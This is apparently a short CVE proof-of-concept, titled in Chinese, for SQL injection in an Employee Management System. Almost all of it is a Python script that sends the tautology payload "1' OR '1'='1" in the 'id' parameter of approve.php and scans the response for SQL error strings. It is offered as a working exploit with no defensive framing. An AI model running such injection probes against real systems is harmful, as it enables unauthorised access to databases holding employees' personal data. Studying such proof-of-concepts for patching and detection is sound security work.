CVE-2026-7117 Employee Management System SQL注入漏洞

import requests # Target URL (replace with actual target) target_url = "http://example.com/370project/approve.php" # Malicious payload to test SQL Injection # Attempting to manipulate the 'id' argument payload = { "id": "1' OR '1'='1", "token": "test_token" } try: # Sending GET request with the payload response = requests.get(target_url, params=payload, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content preview:") print(response.text[:500]) # Print first 500 chars for analysis # Further checks for SQL errors or data leakage would go here if "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[!] Potential SQL vulnerability detected.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")